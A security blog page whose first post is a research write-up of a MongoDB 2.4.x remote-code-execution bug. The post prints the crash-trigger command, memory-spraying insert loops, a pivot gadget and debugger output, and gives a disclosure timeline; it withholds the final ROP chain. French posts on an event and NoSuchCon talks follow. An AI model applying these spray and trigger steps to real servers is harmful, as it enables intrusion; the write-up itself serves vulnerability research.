mongodb – RCE by databaseSpraying

To keep going on mongodb research here is my last interesting finding.

Finding the Crash

In last release (after 2.2.3), 10gen chose to move to the V8 Javascript motor that sounds a very good idea. They also increased permeability in "$where" request to reduce impact of SSJI.

This time, the crash cannot be triggered from "$where" SSJI and don’t worry you need read-write access to a mongo database to reliably exploit it…

So as last time, I focussed on [native code] in javascript functions.
From a mongoclient, you can list every object methods by using prototypes :

for(var prop in DB.prototype) { print(prop + ' = ' + DB.prototype[prop]); }

But the only object I find with native code inside is the Mongo one :

> for(var prop in Mongo.prototype) { print(prop + ' = ' + Mongo.prototype[prop]); }
find = function find() { [native code] }
insert = function insert() { [native code] }
remove = function remove() { [native code] }
update = function update() { [native code] }
auth = function auth() { [native code] }
logout = function logout() { [native code] }
internalCursor = function internalCursor() { [native code] }

So let’s call this functions directly from prototype :

> db.eval('Mongo.prototype.find("a",{"b":"c"},"d","e","f","g","h")');
Fri May 31 13:34:07.514 DBClientCursor::init call() failed
Fri May 31 13:34:07.515 JavaScript execution failed: Error: error doing query: failed at src/mongo/shell/query.js:L78
Fri May 31 13:34:07.525 trying reconnect to 127.0.0.1:27017
Fri May 31 13:34:07.526 reconnect 127.0.0.1:27017 failed couldn't connect to server 127.0.0.1:27017

Already ? And on the server side ?

Fri May 31 13:34:07.387 Invalid access at address: 0x5000000 from thread: conn3
Fri May 31 13:34:07.387 Got signal: 11 (Segmentation fault).

Okay, we got Segmentation fault. But the address is always the same : 0×05000000
Trying to control it, I firstly abandonned the idea of making remote code exec with this bug.

One week later…

After noSuchCon, a new idea came in my mind (sure it’s alcohol and brainSniffing at this awesome conference). In 32bits, the databases cannot be larger than 2GB, because mongo use mmap for mapping all the files database in memory : 
http://blog.mongodb.org/post/137788967/32-bit-limitations

The solution is really ugly, but it will be a good POC.
What’s happen if you fill a database :

> use databaseSpray
switched to db databaseSpray
> sizechunk=0x1000; chunk=""; for(i=0;i<sizechunk;i++){ chunk+="a" } for(i=0;i<600000;i++){ db.my_collection.insert({my_chunk:chunk}) }
can't map file memory - mongo requires 64 bit build for larger datasets

Check the mongod map :

08048000-09124000 r-xp 00000000 08:05 1843431 /home/agix/exploit_mongo/mongodb-linux-i686-2.4.4-rc0/bin/mongod
09124000-09167000 rw-p 010dc000 08:05 1843431 /home/agix/exploit_mongo/mongodb-linux-i686-2.4.4-rc0/bin/mongod
09167000-0941a000 rw-p 00000000 00:00 0 
0966b000-09769000 rw-p 00000000 00:00 0 [heap]
0f482000-2f442000 rw-s 00000000 08:01 4448278 /data/db/databaseSpray.10
2f442000-4f402000 rw-s 00000000 08:01 4448277 /data/db/databaseSpray.9
4f402000-6f3c2000 rw-s 00000000 08:01 4448276 /data/db/databaseSpray.8
6f3c2000-8f382000 rw-s 00000000 08:01 4448275 /data/db/databaseSpray.7
8f382000-af342000 rw-s 00000000 08:01 4448274 /data/db/databaseSpray.6
af342000-cf302000 rw-s 00000000 08:01 4448273 /data/db/databaseSpray.5
cf302000-df302000 rw-s 00000000 08:01 4448272 /data/db/databaseSpray.4
df302000-e7302000 rw-s 00000000 08:01 4448271 /data/db/databaseSpray.3
e7302000-eb302000 rw-s 00000000 08:01 4448270 /data/db/databaseSpray.2
eb302000-ed302000 rw-s 00000000 08:01 4448269 /data/db/databaseSpray.1
ed302000-ee302000 rw-s 00000000 08:01 4448268 /data/db/databaseSpray.0
ee302000-ef302000 rw-s 00000000 08:01 4448267 /data/db/databaseSpray.ns
ef302000-ef303000 ---p 00000000 00:00 0 
ef303000-ef403000 rw-p 00000000 00:00 0 
ef403000-ef404000 ---p 00000000 00:00 0 
ef404000-efc04000 rw-p 00000000 00:00 0 
efc04000-f0c04000 rw-s 00000000 08:01 4448266 /data/db/local.0
f0c04000-f1c04000 rw-s 00000000 08:01 4448265 /data/db/local.ns
f1c04000-f1c05000 ---p 00000000 00:00 0 
f1c05000-f2405000 rw-p 00000000 00:00 0 
f2405000-f2406000 ---p 00000000 00:00 0 
f2406000-f2c06000 rw-p 00000000 00:00 0 
f2c06000-f2c07000 ---p 00000000 00:00 0 
f2c07000-f3407000 rw-p 00000000 00:00 0 
f3407000-f3408000 ---p 00000000 00:00 0 
f3408000-f3c08000 rw-p 00000000 00:00 0 
f3c08000-f3c09000 ---p 00000000 00:00 0 
f3c09000-f4409000 rw-p 00000000 00:00 0 
f4409000-f440a000 ---p 00000000 00:00 0 
f440a000-f4c0a000 rw-p 00000000 00:00 0 
f4c0a000-f4d7f000 r--p 00000000 08:01 1279693 /usr/lib/locale/locale-archive
f4d7f000-f4e00000 rw-p 00000000 00:00 0 
f4e00000-f4e21000 rw-p 00000000 00:00 0 
f4e21000-f4f00000 ---p 00000000 00:00 0 
f4f45000-f4f46000 ---p 00000000 00:00 0 
f4f46000-f5746000 rw-p 00000000 00:00 0 
f5746000-f5747000 ---p 00000000 00:00 0 
f5747000-f7453000 rw-p 00000000 00:00 0 
f7453000-f7593000 r-xp 00000000 08:01 3842112 /lib32/libc-2.11.3.so
f7593000-f7594000 ---p 00140000 08:01 3842112 /lib32/libc-2.11.3.so
f7594000-f7596000 r--p 00140000 08:01 3842112 /lib32/libc-2.11.3.so
f7596000-f7597000 rw-p 00142000 08:01 3842112 /lib32/libc-2.11.3.so
f7597000-f759a000 rw-p 00000000 00:00 0 
f759a000-f75af000 r-xp 00000000 08:01 3842106 /lib32/libpthread-2.11.3.so
f75af000-f75b0000 r--p 00014000 08:01 3842106 /lib32/libpthread-2.11.3.so
f75b0000-f75b1000 rw-p 00015000 08:01 3842106 /lib32/libpthread-2.11.3.so
f75b1000-f75b3000 rw-p 00000000 00:00 0 
f75b3000-f75d0000 r-xp 00000000 08:01 1297070 /usr/lib32/libgcc_s.so.1
f75d0000-f75d1000 rw-p 0001c000 08:01 1297070 /usr/lib32/libgcc_s.so.1
f75d1000-f75f5000 r-xp 00000000 08:01 3842125 /lib32/libm-2.11.3.so
f75f5000-f75f6000 r--p 00023000 08:01 3842125 /lib32/libm-2.11.3.so
f75f6000-f75f7000 rw-p 00024000 08:01 3842125 /lib32/libm-2.11.3.so
f75f7000-f75f8000 rw-p 00000000 00:00 0 
f75f8000-f76e1000 r-xp 00000000 08:01 1297077 /usr/lib32/libstdc++.so.6.0.13
f76e1000-f76e5000 r--p 000e9000 08:01 1297077 /usr/lib32/libstdc++.so.6.0.13
f76e5000-f76e6000 rw-p 000ed000 08:01 1297077 /usr/lib32/libstdc++.so.6.0.13
f76e6000-f76ed000 rw-p 00000000 00:00 0 
f76ed000-f76f4000 r-xp 00000000 08:01 3842108 /lib32/librt-2.11.3.so
f76f4000-f76f5000 r--p 00006000 08:01 3842108 /lib32/librt-2.11.3.so
f76f5000-f76f6000 rw-p 00007000 08:01 3842108 /lib32/librt-2.11.3.so
f7709000-f7710000 r--s 00000000 08:01 2501540 /usr/lib32/gconv/gconv-modules.cache
f7710000-f7713000 rw-p 00000000 00:00 0 
f7713000-f7714000 r-xp 00000000 00:00 0 [vdso]
f7714000-f7730000 r-xp 00000000 08:01 3842107 /lib32/ld-2.11.3.so
f7730000-f7731000 r--p 0001b000 08:01 3842107 /lib32/ld-2.11.3.so
f7731000-f7732000 rw-p 0001c000 08:01 3842107 /lib32/ld-2.11.3.so
ffdfc000-ffe11000 rw-p 00000000 00:00 0 [stack]

My databaseSpray is not covering 0×05000000 yet… but if we create a new one :

> use databaseMapped
switched to db databaseMapped
> sizechunk=0x1338; chunk=""; for(i=0;i<sizechunk;i++){ chunk+="\x01\x02\x03\x04\x05\x06\x07\x08"; } for(i=0;i<30000;i++){ db.my_collection.insert({my_chunk:chunk}) }
can't map file memory - mongo requires 64 bit build for larger datasets
04048000-08048000 rw-s 00000000 08:01 4448283 /data/db/databaseMapped.2
08048000-09124000 r-xp 00000000 08:05 1843431 /home/agix/exploit_mongo/mongodb-linux-i686-2.4.4-rc0/bin/mongod
09124000-09167000 rw-p 010dc000 08:05 1843431 /home/agix/exploit_mongo/mongodb-linux-i686-2.4.4-rc0/bin/mongod
09167000-0941a000 rw-p 00000000 00:00 0 
0966b000-09788000 rw-p 00000000 00:00 0 [heap]
0b482000-0d482000 rw-s 00000000 08:01 4448282 /data/db/databaseMapped.1
0d482000-0e482000 rw-s 00000000 08:01 4448281 /data/db/databaseMapped.0
0e482000-0f482000 rw-s 00000000 08:01 4448280 /data/db/databaseMapped.ns
0f482000-2f442000 rw-s 00000000 08:01 4448278 /data/db/databaseSpray.10
2f442000-4f402000 rw-s 00000000 08:01 4448277 /data/db/databaseSpray.9
4f402000-6f3c2000 rw-s 00000000 08:01 4448276 /data/db/databaseSpray.8
6f3c2000-8f382000 rw-s 00000000 08:01 4448275 /data/db/databaseSpray.7
8f382000-af342000 rw-s 00000000 08:01 4448274 /data/db/databaseSpray.6
af342000-cf302000 rw-s 00000000 08:01 4448273 /data/db/databaseSpray.5
cf302000-df302000 rw-s 00000000 08:01 4448272 /data/db/databaseSpray.4
df302000-e7302000 rw-s 00000000 08:01 4448271 /data/db/databaseSpray.3
e7302000-eb302000 rw-s 00000000 08:01 4448270 /data/db/databaseSpray.2
eb302000-ed302000 rw-s 00000000 08:01 4448269 /data/db/databaseSpray.1
ed302000-ee302000 rw-s 00000000 08:01 4448268 /data/db/databaseSpray.0
ee302000-ef302000 rw-s 00000000 08:01 4448267 /data/db/databaseSpray.ns
ef302000-ef303000 ---p 00000000 00:00 0 
ef303000-ef403000 rw-p 00000000 00:00 0 
ef403000-ef404000 ---p 00000000 00:00 0 
ef404000-efc04000 rw-p 00000000 00:00 0 
efc04000-f0c04000 rw-s 00000000 08:01 4448266 /data/db/local.0
f0c04000-f1c04000 rw-s 00000000 08:01 4448265 /data/db/local.ns
f1c04000-f1c05000 ---p 00000000 00:00 0 
f1c05000-f2405000 rw-p 00000000 00:00 0 
f2405000-f2406000 ---p 00000000 00:00 0 
f2406000-f2c06000 rw-p 00000000 00:00 0 
f2c06000-f2c07000 ---p 00000000 00:00 0 
f2c07000-f3407000 rw-p 00000000 00:00 0 
f3407000-f3408000 ---p 00000000 00:00 0 
f3408000-f3c08000 rw-p 00000000 00:00 0 
f3c08000-f3c09000 ---p 00000000 00:00 0 
f3c09000-f4409000 rw-p 00000000 00:00 0 
f4409000-f440a000 ---p 00000000 00:00 0 
f440a000-f4c0a000 rw-p 00000000 00:00 0 
f4c0a000-f4d7f000 r--p 00000000 08:01 1279693 /usr/lib/locale/locale-archive
f4d7f000-f4e00000 rw-p 00000000 00:00 0 
f4e00000-f4e21000 rw-p 00000000 00:00 0 
f4e21000-f4f00000 ---p 00000000 00:00 0 
f4f45000-f4f46000 ---p 00000000 00:00 0 
f4f46000-f5746000 rw-p 00000000 00:00 0 
f5746000-f5747000 ---p 00000000 00:00 0 
f5747000-f7453000 rw-p 00000000 00:00 0 
f7453000-f7593000 r-xp 00000000 08:01 3842112 /lib32/libc-2.11.3.so
f7593000-f7594000 ---p 00140000 08:01 3842112 /lib32/libc-2.11.3.so
f7594000-f7596000 r--p 00140000 08:01 3842112 /lib32/libc-2.11.3.so
f7596000-f7597000 rw-p 00142000 08:01 3842112 /lib32/libc-2.11.3.so
f7597000-f759a000 rw-p 00000000 00:00 0 
f759a000-f75af000 r-xp 00000000 08:01 3842106 /lib32/libpthread-2.11.3.so
f75af000-f75b0000 r--p 00014000 08:01 3842106 /lib32/libpthread-2.11.3.so
f75b0000-f75b1000 rw-p 00015000 08:01 3842106 /lib32/libpthread-2.11.3.so
f75b1000-f75b3000 rw-p 00000000 00:00 0 
f75b3000-f75d0000 r-xp 00000000 08:01 1297070 /usr/lib32/libgcc_s.so.1
f75d0000-f75d1000 rw-p 0001c000 08:01 1297070 /usr/lib32/libgcc_s.so.1
f75d1000-f75f5000 r-xp 00000000 08:01 3842125 /lib32/libm-2.11.3.so
f75f5000-f75f6000 r--p 00023000 08:01 3842125 /lib32/libm-2.11.3.so
f75f6000-f75f7000 rw-p 00024000 08:01 3842125 /lib32/libm-2.11.3.so
f75f7000-f75f8000 rw-p 00000000 00:00 0 
f75f8000-f76e1000 r-xp 00000000 08:01 1297077 /usr/lib32/libstdc++.so.6.0.13
f76e1000-f76e5000 r--p 000e9000 08:01 1297077 /usr/lib32/libstdc++.so.6.0.13
f76e5000-f76e6000 rw-p 000ed000 08:01 1297077 /usr/lib32/libstdc++.so.6.0.13
f76e6000-f76ed000 rw-p 00000000 00:00 0 
f76ed000-f76f4000 r-xp 00000000 08:01 3842108 /lib32/librt-2.11.3.so
f76f4000-f76f5000 r--p 00006000 08:01 3842108 /lib32/librt-2.11.3.so
f76f5000-f76f6000 rw-p 00007000 08:01 3842108 /lib32/librt-2.11.3.so
f7709000-f7710000 r--s 00000000 08:01 2501540 /usr/lib32/gconv/gconv-modules.cache
f7710000-f7713000 rw-p 00000000 00:00 0 
f7713000-f7714000 r-xp 00000000 00:00 0 [vdso]
f7714000-f7730000 r-xp 00000000 08:01 3842107 /lib32/ld-2.11.3.so
f7730000-f7731000 r--p 0001b000 08:01 3842107 /lib32/ld-2.11.3.so
f7731000-f7732000 rw-p 0001c000 08:01 3842107 /lib32/ld-2.11.3.so
f7732000-ff732000 rw-s 00000000 08:01 4448284 /data/db/databaseMapped.3
ffdfc000-ffe11000 rw-p 00000000 00:00 0 [stack]

Bingo ! The "/data/db/databaseMapped.2" file is mapped at my address.
And if you restart the mongod ?

Nothing is mapped, so you have to request one of your database to force mongod to map it :

> use databaseSpray
switched to db databaseSpray
> db.my_collection.findOne();
> use databaseMapped
switched to db databaseMapped
> db.my_collection.findOne();

The files are mapped exactly to the same place \o/ ! No more long loop.

What the crash ?

The crash occurs because non initialisation of Mongo "conn" object when you directly call the prototype function. The luck is that the address at this point is mappable. So we can craft our own object.

0x89b68be <_ZN5mongo9mongoFindEPNS_7V8ScopeERKN2v89ArgumentsE+1070>: mov eax,DWORD PTR [edx] 
0x89b68c0 <_ZN5mongo9mongoFindEPNS_7V8ScopeERKN2v89ArgumentsE+1072>: mov edx,DWORD PTR [ebp-0x14c] 
0x89b68c6 <_ZN5mongo9mongoFindEPNS_7V8ScopeERKN2v89ArgumentsE+1078>: mov eax,DWORD PTR [eax]
0x89b68c8 <_ZN5mongo9mongoFindEPNS_7V8ScopeERKN2v89ArgumentsE+1080>: mov DWORD PTR [ebp-0x94],edx
0x89b68ce <_ZN5mongo9mongoFindEPNS_7V8ScopeERKN2v89ArgumentsE+1086>: mov DWORD PTR [ebp-0x170],eax

edx is the non initialized pointer : 0×05000000
and later :

0x89b69b1 <_ZN5mongo9mongoFindEPNS_7V8ScopeERKN2v89ArgumentsE+1313>: call   DWORD PTR [ebp-0x170]

We have to map at 0×05000000 a pointer to our first gadget. Unfortunately, this time again, we cannot use gadget made of bytes > 0x7F.

Let’s Pivot !

At this point, we control EIP, but not the stack…

Spending all my time finding a pivot with utf-8 bytes, I only find this one : 0x0855777c

 0x855777c: mov esp,0x83ffd656
 0x8557781: les eax,FWORD PTR [ebx+ebx*2]
 0x8557784: pop ebp
 0x8557785: ret

The 0x83ffd656 address is fill with our databaseSpray. So we just have to fill the databaseSpray with our ROPChain and RCE is achieved !

The end

I won’t publish a total exploit, the last part is boring, you just have to find a classic ropchain to copy shellcode in a RWX mmaped zone. You can use the same technique as before to pivot again in a ROP without utf-8 limlitation.

To sum up, the step :

Firstly fill a database with your ROPChain !

>use databaseSpray
switched to db databaseSpray
>rop="\x01\x02\x03\x04"; sizechunk=0x1000; chunk=""; for(i=0;i<sizechunk;i++){ chunk+="\x74\x0a\x05\x08"; } chunk.substring(0,(sizechunk-rop.length)); for(i=0;i<600000;i++){ db.my_collection.insert({my_chunk:chunk+rop}) }

Then create the good one that will fill the non initialized object.

>use databaseMapped
switched to db databaseMapped
> sizechunk=0x1338; chunk=""; for(i=0;i<sizechunk;i++){ chunk+="\x05\x7c\x77\x55\x08\x04\x00\x00"; } for(i=0;i<30000;i++){ db.my_collection.insert({my_chunk:chunk}) }
can't map file memory - mongo requires 64 bit build for larger datasets

Finally, trigger the bug \o/

> db.eval('Mongo.prototype.find("a",{"b":"c"},"d","e","f","g","h")');

With database filled with "a" you totally control stack :

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xf360fb70 (LWP 12464)]
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x9161a60 --> 0x915e2e0 --> 0x1 
ECX: 0xf7e633a0 --> 0x0 
EDX: 0x5000000 --> 0x5000004 --> 0x855777c (mov esp,0x83ffd656)
ESI: 0x0 
EDI: 0xf360dae0 --> 0x94a967c --> 0x61 ('a')
EBP: 0x61616161 --> 0x0 
ESP: 0x83ffd65e ('a' <repeats 200 times>...)
EIP: 0x61616161 --> 0x0
EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
 0x6161615b: add BYTE PTR [eax],al
 0x6161615d: add BYTE PTR [eax],al
 0x6161615f: add BYTE PTR [eax],al
=> 0x61616161: add BYTE PTR [eax],al
 0x61616163: add BYTE PTR [eax],al
 0x61616165: add BYTE PTR [eax],al
 0x61616167: add BYTE PTR [eax],al
 0x61616169: add BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0x83ffd65e ('a' <repeats 200 times>...)
0004| 0x83ffd662 ('a' <repeats 200 times>...)
0008| 0x83ffd666 ('a' <repeats 200 times>...)
0012| 0x83ffd66a ('a' <repeats 200 times>...)
0016| 0x83ffd66e ('a' <repeats 200 times>...)
0020| 0x83ffd672 ('a' <repeats 200 times>...)
0024| 0x83ffd676 ('a' <repeats 200 times>...)
0028| 0x83ffd67a ('a' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x61616161 in ?? ()

I don’t think this exploit could be use in real life, but the POC is cool and the databaseSpray a funny feature !

Not a 0day ?

After speaking directly to 10gen, here is the new timeline :

2013-05-20 Responsibly disclose (Production release 2.4.3) to ZDI
2013-05-28 10gen release v2.4.4
2013-05-30 ZDI Answer : "They already knew this bug, it’s not a vulnerability anymore in 2.4.4" – Close Case
2013-05-30 I responded that the vuln still exist…
2013-05-30 I wrote this article, exploiting v2.4.4
2013-06-05 10gen contact me : "ZDI never contacted us"

As @markofu said "So somewhere between the intermediary & 10gen, communication broke down :( "

10gen is now actively working on a patch.

I let you try it on unstable v2.5.0…

Thx for reading !

Publié dans Fail, vulnérabilité

SCRT Security day : 13 Juin 2013 à Chavannes de Bogis

/* EN BREF */
Quand : 13 Juin 2013 de 09h30 à 16h30
Ou : Chavannes-de-bogis, hotel Best Western
Qui : SCRT, Fortinet, Fireeye, Entrust, Juniper, Barracuda, Varonis
Quoi : démonstrations. nouveautés, réponses à vos questions
inscriptions : par email aurpès de votre contact chez SCRT , avant le 03 Juin 2013, places limitées

/* PROGRAMME DE LA JOURNÉE */
9h00-9h30 : arrivée des participants avec petit déjeuner
09h30 – 10h00 : Introduction par SCRT : nouveautés et évolutions
10h00 – 11h00 : Fortinet
Présentation/démonstration des nouveautés liées à FortiOS 5 : BYOD , Device recognition, wifi, unified access layer…
11h00 – 12h00 : Fireeye
Démonstration de Fireeye, solution de nouvelle génération visant à luter contre les logiciels malveillants avancés (Advanced Malwares), les vulnérabilités non connues (zéro day) et les attaques ciblées (APT Attacks).
12h – 13h30 : Lunch offert
13h30 – 14h30 : Entrust
Démonstrations autour de la solution IdentityGuard (solution d’authentification forte) : nouveautés, solution anti-fishing, démonstration d’intégration avec une application web, vérification des transactions
14h30 – 15h15 : Juniper WebApp secure
Présentation et démonstration de Juniper Web App Secure (anciennement Mykonos) , solution de défense pro-active visant à pièger l’attaquant en temps réel, établir son profil afin d’évaluer le niveau de menace et déployer des contre mesures de protection adéquates en temps réel afin de protéger un site ou application web
15h15 – 16h00 : Barracuda Web Application Firewall
Présentation et démonstration du WAF Barracuda, solution de protection contre les tentatives d’exploitation de vulnérabilités des sites ou d’applications Web
16h00 – 16h40 : Varonis Datadvantage
Présentation et démonstration de la suite Datadvantage de management et protection des données : audits des accès, identification des propriétaires des données, gestion du risque…
à partir de 16h30 : Apéritif offert

/* INSCRIPTIONS */
Événement gratuit.
Le nombre de places étant limité, nous vous remercions de nous confirmer votre présence par email ou téléphone (021 802 64 01), avant le 03 Juin 2013.

Nous nous réjouissons de vous accueillir et de pouvoir répondre à toutes vos questions à la suite des différentes présentations

—-

Publié dans Events, news

NoSuchCon

Jour 1

Mateusz ‘j00ru’ Jurczyk – Abusing the Windows Kernel : How to Crash an Operating System with Two Instructions

NoSuchCon a démarré violemment avec la présentation par j00ru de ses recherches sur le kernel windows. Il s’est d’abord penché sur les fonctions de gestion de la mémoire (nt!memcpy, nt!memmove…) mettant l’accent sur le fait que les copies s’effectuent dans l’ordre inverse des données.

Cela lui permet de rendre exploitable des overflows en utilisant une race condition. Ou encore de bypasser les GS stack cookies en utilisant le gestionnaire d’exception pour ne copier que la fin de son buffer (vu que copiés en premier).

Pour les habitués du kernel, autant aller lire son blog 
http://j00ru.vexillium.org/
 et ses slides 
http://www.nosuchcon.org/talks/D1_01_j00ru_Abusing_the_Windows_Kernel.pdf

Alex Ionescu – Ninjas and Harry Potter "Spell"unking in Apple SMC Land

Après j00ru, la seconde star : Ionescu, Co-auteur du Windows Internals, a présenté ses recherches sur le System Management Controller (SMC) d’Apple.

Ce chipset sous architecture Renesas s’occupe par exemple de réguler le ventilateur, de détecter la luminosité ou encore la mise en veille par fermeture de l’ordinateur.

Ionescu présentait le résultat du reverse de ce SMC.

Via le SMCProtocol il est possible de lire et d’écrire dans la mémoire du chipset pour par exemple changer des clés en rapport à la gestion de la batterie, de la température et, présenté en démo, modifier la vitesse du ventilateur.

Détail amusant ayant donné le titre de sa conf, une clé écrite en dur permettrait de donner un accès en lecture à d’autres zones mémoires. Cette clé : SpecialisRevelio est tout droit tiré d’Harry Potter.
Quand au Ninja, il provient d’un nom de timer "Ninja Action Timer" permettant de déclencher une action à un instant donné.

Ce talk sur Apple, par un Mr Windows nous a appris beaucoup de chose sur ce chipset SMC non documenté. 
http://www.nosuchcon.org/talks/D1_02_Alex_Ninjas_and_Harry_Potter.pdf

Travis Goodspeed – Nifty Tricks and Sage Advice for Shellcode on Embedded Systems

Travis Goodspeed a commencé son talk par un troll sur les APTs avec la présentation d 
http://aptfriendfinder.com/
 un site proposant un merveilleux outils pour rencontrer son APT.

C’est donc le sourire au lèvre qu’il nous a plongé dans l’exploitation de systèmes embarqués.

Détaillant d’abord les différents systèmes qu’il a testé (8051,MSP430), il a alors énoncé la difficulté de réaliser un exploit sur ces environnements. Non pas à cause des mitigations type ASLR et NX mais bien parce qu’il n’existe aucun moyen de débuguer ces systèmes pour trouver une quelconque adresse et que l’organisation de ces architectures suffit à elle seule à protéger l’exécution de code en RAM.

Il en est donc arrivé à développer une technique de ROP en blind.

Pour trouver les gadgets, il cherche d’abord tous les ret en passant par le bootloader situé en ROM qu’il connait. Une fois tous les ret trouvés, il bruteforce son ROP en essayant toutes les possibilités d’enchaînement de gadgets.

Travis Goodspeed est toujours aussi impressionnant dans sa maîtrise des environnements bas niveau. 
http://www.nosuchcon.org/talks/D1_03_goodspeed_Nifty_Tricks_and_Sage%20Advice_for_Shellcode_on_Embedded_Systems.pdf

Nicolas Grégoire – Dumb fuzzing XSLT engines in a smart way

Nicolas Grégoires, le pwneur d’XML est venu nous présenter comment fuzzer avec de petits moyens tout en ayant de très bons résultats.

Après avoir présenté l’XSLT et le scope des applications l’utilisant, il a expliqué comment il avait trouvé ces dernières années, toutes ces CVE.

Tout d’abord il a cherché à identifier les moteurs XSLT utilisés par les différentes applications comme Adobe Reader, Firefox ou Oracle. Ensuite afin de faciliter son fuzzing, il a cherché si ces moteurs proposaient un CLI wrapper. Il a ainsi pu se défaire de la lenteur des applications graphiques et ce concentrer uniquement sur l’XSLT.

Pour la génération des test cases, il a utilisé Radamsa sur un grand nombre de samples récupérés sur internet. Il a alors démarré son fuzz via un script python regroupant la génération, le lancement des CLIs et l’envoie des crashs par email, tout ça sur quelques VMs gratuites d’Amazon AWS et Microsoft Azure et une seule VM plus puissante (Amazon AWS "c1.medium") ne lui ayant coûté qu’une centaine d’euros pour 2 mois 24/7.

Afin de remonter également des bugs sans crash, il a utilisé Dr.Memory
http://www.drmemory.org/
 pour Windows, Valgrind
http://valgrind.org/
 pour linux et ASan
http://www.chromium.org/developers/testing/addresssanitizer
 pour les moteurs open source.

Inutile de dire que la qualité/quantité des résultats obtenus a laissé tout le monde rêveur. 
http://www.nosuchcon.org/talks/D1_04_Nicolas_Gregoire_XSLT_Fuzzing.pdf

Saumil Shah – Deadly Pixels – Innovative (and pretty) exploit delivery

Ayant déjà vu (et résumé) ce talk à HITB Malaysia, je rappellerais juste ici l’originalité des exploits de Saumil.

En bref, il embarque dans un GIF valide, du javascript lui permettant d’extraire son exploit d’un PNG avec des techniques de stegano.


http://www.nosuchcon.org/talks/D1_05_Saumil_Deadly_Pixels.pdf

Jour 2

John Butterworth, Corey Kallenberg, Xeno Kovah – TPM & BIOS Security TBA

Ces 3 chercheurs du MITRE ont présenté leurs recherches sur les manières d’infecter le BIOS malgré le TPM (Trusted Platform Module). Ce module permet de générer et stocker des clés ou encore démarrer le système en fonction d’une signature stockée dans le PCR (Platform Configuration Register).

Cette signature calculée par le SRTM (Static Root of Trust Measurement) dépend de plusieurs parties du BIOS, le MBR et autres calculs propre à l’état du système.

Après avoir expliqué différentes méthodes pour récupérer le firmware du BIOS, ils ont présenté une technique permettant de bypasser ce SRTM.

Une fois le PCR hash connu, ils ont simplement empêché le SRTM de se produire tout en envoyant le PCR valide au TPM.

Encore plus fort, en connaissant les PCR des updates suivants, leur malware nommé "flea" résiste aux mises à jour.

Lors d’une demande d’update, flea va s’injecter dans le firmware en ram avant que le bios ne soit flashé avec.

Un talk très bien mené pour la complexité de ces mécanismes. 
http://www.nosuchcon.org/talks/D2_01_Butterworth_BIOS_Chronomancy.pdf

Stephen A. Ridley – Who’d have thought they’d meet in the middle ? ‘ARM Exploitation’ meets "Hardware Exploitation". Sharable memoirs from a very surprising last year

Stephen A. Ridley a donné le même talk qu’à Insomni’hack cette année. Arm exploitation bukkakeheap, pievot… Un showman présentant avec humour ces travaux. 
http://www.nosuchcon.org/talks/D2_02_Ridley_ARM_Exploitation_And_Hardware_Hacking.pdf

Zhenhua (Eric) Liu – Advanced Heap Manipulation in Windows 8

Le début d’après midi a été une fois encore très enrichissant avec la présentation du heap sous windows 8 par ce senior security researcher @ Fortinet.

Bien que le fonctionnement du heap soit toujours un sujet complexe, Eric a su expliquer ses découvertes de manière totalement décontractée et claire.

Après avoir rappelé l’intérêt des exploits kernel notamment dans le bypass de sandbox, il a présenté les nouvelles protections présentes dans le kernel windows 8.

L’exploitation est donc maintenant possible par la compromission des données propres à l’application. Savoir manipuler le heap afin d’ordonner les données est donc une solution à toutes les mitigations.

Il nous a alors fait une démonstration de heap Feng Shui afin donc d’allouer un objet particulier juste derrière un buffer vulnerable tout en évitant de provoquer la LFH.

Un des meilleurs talks des 3 jours. 
http://www.nosuchcon.org/talks/D2_03_Eric_heap_mannipulation.pdf

Fin d’après midi

Les conférences suivantes ont en revanche eu moins de succès.

Tout d’abord Fabien Duchene a présenté son outil de reverse d’application web. Un concept basé sur de l’heuristique et des idées originales.

S’en est suivi un talk sur la cryptographie dans les puces électroniques antidémarrages des voitures modernes. Sans surprise, elle est très faible !

Puis un interminable talk sur de l’analyse automatisée de crashdump via data tainting et trace slicing afin de déterminer rapidement l’exploitabilité d’une vulnérabilité.

Enfin, un talk original sur SAP TMS présentait les dangers liés à la mauvaise configuration/utilisation de ces progiciels.

Moitié de Jour 3

Après la private party à la Rotonde, inutile de préciser que la matinée fut plutôt difficile. Petite parenthèse pour remercier les organisateurs de cette soirée qui fut l’occasion de rencontrer tous un lot de stars autour d’un buffet600 digne de ce nom.

Aaron LeMasters – Crashdmp-ster Diving the Windows 8 Crash Dump Stack

Aaron présentait ici une découverte originale sur la gestion des crashs sous windows 8 notamment avec l’introduction des crash dump filters.

Cela lui permettait après provocation de BSOD, d’obtenir un arbitrary file access depuis le kernel.

N’étant pas à proprement parler une vulnérabilité, on peut s’attendre à retrouver cette technique dans des rootkits…

Il a terminé son talk en présentant le write-up de l’épreuve du Boston CTF qui utilisait cette technique. 
http://www.nosuchcon.org/talks/D3_01_Aaron_Crashdmpster_Diving_Win8.pdf

Yusunov Timur, Alexey Osipov – XML Out-Of-Band Exploitation

Ces 2 ingénieurs de Positive Technologies ont présenté leurs derniers travaux sur l’exploitation.

Après des rappels sur le fonctionnement des entités XML et des XXE ils ont montré comment bypasser certaines règles de ModSecurity et mis au point des techniques de XXE error-based ou encore utilisant des requêtes DNS pour leaker des informations.


http://www.nosuchcon.org/talks/D3_03_Alex&Timur_XML_Out_Of_Band.pdf

Pedro Vilaca – Revisiting Mac OS X Kernel Rootkits

Ce talk sur le kernel de Mac OS X fut très long pour les personnes (comme moi) n’ayant jamais mis le nez dans le kernel de Mac OS X… En tout cas vous pouvez toujours lire les slides 
http://www.nosuchcon.org/talks/D3_04_Pedro_Revisiting_MacOSX_Kernel_Rootkits.pdf
 et les travaux 
http://reverse.put.as/
 d’osxreverser.

Donato Ferrante & Luigi Auriemma – Exploiting Game Engines For Fun And Profit

Un talk très attendu tournant donc autour des jeux vidéos, mais surtout présenté par les fameux Luigi Auriemma et Donato Ferrante !

Ils ont alors expliqué pourquoi ils avaient choisi de cibler les jeux vidéos. C’est un vecteur encore inexploité pouvant pourtant toucher des millions de personnes.

Pour augmenter encore le scope de leurs cibles, ils ont choisi de s’attaquer plus particulièrement aux moteurs des jeux. En effet, de nombreux jeux partagent le même moteur. Cela réduit donc considérablement le spectre de recherche tout en augmentant les victimes potentielles.

